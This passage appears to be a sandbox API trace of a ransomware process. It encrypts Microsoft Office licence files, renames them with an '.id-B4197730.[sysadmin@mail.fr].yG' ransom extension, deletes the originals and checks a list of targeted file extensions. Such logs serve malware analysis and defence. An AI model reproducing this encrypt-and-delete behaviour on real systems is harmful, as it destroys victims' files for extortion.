	[0170.340] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0170.341] GetLastError () returned 0x0
	[0170.341] ReadFile (in: hFile=0x578, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d5c, lpOverlapped=0x0) returned 1
	[0170.383] WriteFile (in: hFile=0x48c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0170.384] ReadFile (in: hFile=0x578, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.385] WriteFile (in: hFile=0x48c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x116, lpOverlapped=0x0) returned 1
	[0170.385] SetEndOfFile (hFile=0x48c) returned 1
	[0170.385] CloseHandle (hObject=0x48c) returned 1
	[0170.385] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.385] SetEndOfFile (hFile=0x578) returned 1
	[0170.390] CloseHandle (hObject=0x578) returned 1
	[0170.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 1
	[0170.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0170.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0170.765] lstrlenW (lpString=".doc") returned 4
	[0170.765] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.765] lstrlenW (lpString=".docx") returned 5
	[0170.765] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.765] lstrlenW (lpString=".pdf") returned 4
	[0170.765] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.765] lstrlenW (lpString=".xls") returned 4
	[0170.765] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.765] lstrlenW (lpString=".xlsx") returned 5
	[0170.765] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.765] lstrlenW (lpString=".ppt") returned 4
	[0170.765] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0170.765] lstrlenW (lpString=".zip") returned 4
	[0170.765] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.765] lstrlenW (lpString=".rar") returned 4
	[0170.765] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.765] lstrlenW (lpString=".bz2") returned 4
	[0170.766] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.766] lstrlenW (lpString=".7z") returned 3
	[0170.766] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0170.766] lstrlenW (lpString=".dbf") returned 4
	[0170.766] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0170.766] lstrlenW (lpString=".1cd") returned 4
	[0170.766] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0170.766] lstrlenW (lpString=".jpg") returned 4
	[0170.766] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.766] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11591) returned 1
	[0170.767] CloseHandle (hObject=0x350) returned 1
	[0170.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 0x220
	[0170.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0170.768] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.768] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0170.769] GetLastError () returned 0x0
	[0170.769] ReadFile (in: hFile=0x350, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d47, lpOverlapped=0x0) returned 1
	[0170.771] WriteFile (in: hFile=0x388, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0170.772] ReadFile (in: hFile=0x350, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.772] WriteFile (in: hFile=0x388, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0170.772] SetEndOfFile (hFile=0x388) returned 1
	[0170.773] CloseHandle (hObject=0x388) returned 1
	[0170.773] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.773] SetEndOfFile (hFile=0x350) returned 1
	[0170.800] CloseHandle (hObject=0x350) returned 1
	[0170.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 1
	[0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0170.802] lstrlenW (lpString=".doc") returned 4
	[0170.802] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.802] lstrlenW (lpString=".docx") returned 5
	[0170.802] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.802] lstrlenW (lpString=".pdf") returned 4
	[0170.802] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.802] lstrlenW (lpString=".xls") returned 4
	[0170.802] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.802] lstrlenW (lpString=".xlsx") returned 5
	[0170.802] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.802] lstrlenW (lpString=".ppt") returned 4
	[0170.802] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0170.802] lstrlenW (lpString=".zip") returned 4
	[0170.802] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.803] lstrlenW (lpString=".rar") returned 4
	[0170.803] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.803] lstrlenW (lpString=".bz2") returned 4
	[0170.803] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.803] lstrlenW (lpString=".7z") returned 3
	[0170.803] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0170.803] lstrlenW (lpString=".dbf") returned 4
	[0170.803] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0170.803] lstrlenW (lpString=".1cd") returned 4
	[0170.803] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0170.803] lstrlenW (lpString=".jpg") returned 4
	[0170.803] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.804] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11151) returned 1
	[0170.804] CloseHandle (hObject=0x350) returned 1
	[0170.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 0x220
	[0170.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0170.805] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.805] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0170.806] GetLastError () returned 0x0
	[0170.806] ReadFile (in: hFile=0x350, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2b8f, lpOverlapped=0x0) returned 1
	[0170.867] WriteFile (in: hFile=0x388, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0170.926] ReadFile (in: hFile=0x350, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.926] WriteFile (in: hFile=0x388, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x106, lpOverlapped=0x0) returned 1
	[0170.926] SetEndOfFile (hFile=0x388) returned 1
	[0170.926] CloseHandle (hObject=0x388) returned 1
	[0170.926] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.926] SetEndOfFile (hFile=0x350) returned 1
	[0170.939] CloseHandle (hObject=0x350) returned 1
	[0170.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 1
	[0170.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0170.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0170.943] lstrlenW (lpString=".doc") returned 4
	[0170.943] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.943] lstrlenW (lpString=".docx") returned 5
	[0170.943] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.943] lstrlenW (lpString=".pdf") returned 4
	[0170.943] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.943] lstrlenW (lpString=".xls") returned 4
	[0170.943] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.943] lstrlenW (lpString=".xlsx") returned 5
	[0170.943] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.943] lstrlenW (lpString=".ppt") returned 4
	[0170.943] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0170.943] lstrlenW (lpString=".zip") returned 4
	[0170.943] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.943] lstrlenW (lpString=".rar") returned 4
	[0170.943] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.943] lstrlenW (lpString=".bz2") returned 4
	[0170.943] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.943] lstrlenW (lpString=".7z") returned 3
	[0170.943] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0170.943] lstrlenW (lpString=".dbf") returned 4
	[0170.943] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0170.943] lstrlenW (lpString=".1cd") returned 4
	[0170.944] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0170.944] lstrlenW (lpString=".jpg") returned 4
	[0170.944] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.944] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=26525) returned 1
	[0170.944] CloseHandle (hObject=0x388) returned 1
	[0170.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 0x220
	[0170.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0170.945] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.945] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0170.947] GetLastError () returned 0x0
	[0170.947] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x679d, lpOverlapped=0x0) returned 1
	[0170.962] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0170.964] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.964] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x108, lpOverlapped=0x0) returned 1
	[0170.964] SetEndOfFile (hFile=0x554) returned 1
	[0170.964] CloseHandle (hObject=0x554) returned 1
	[0170.964] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.964] SetEndOfFile (hFile=0x388) returned 1
	[0170.968] CloseHandle (hObject=0x388) returned 1
	[0170.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 1
	[0170.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0170.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0170.970] lstrlenW (lpString=".doc") returned 4
	[0170.970] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.970] lstrlenW (lpString=".docx") returned 5
	[0170.970] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.970] lstrlenW (lpString=".pdf") returned 4
	[0170.970] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.970] lstrlenW (lpString=".xls") returned 4
	[0170.970] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.970] lstrlenW (lpString=".xlsx") returned 5
	[0170.970] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.970] lstrlenW (lpString=".ppt") returned 4
	[0170.970] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0170.970] lstrlenW (lpString=".zip") returned 4
	[0170.970] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.970] lstrlenW (lpString=".rar") returned 4
	[0170.970] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.970] lstrlenW (lpString=".bz2") returned 4
	[0170.970] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.970] lstrlenW (lpString=".7z") returned 3
	[0170.970] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0170.970] lstrlenW (lpString=".dbf") returned 4
	[0170.970] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0170.970] lstrlenW (lpString=".1cd") returned 4
	[0170.970] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76
	[0170.970] lstrlenW (lpString=".jpg") returned 4
	[0170.970] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.971] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11595) returned 1
	[0170.971] CloseHandle (hObject=0x388) returned 1
	[0170.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 0x220
	[0170.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0170.975] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.975] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0170.976] GetLastError () returned 0x0
	[0170.976] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d4b, lpOverlapped=0x0) returned 1
	[0170.978] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0170.979] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
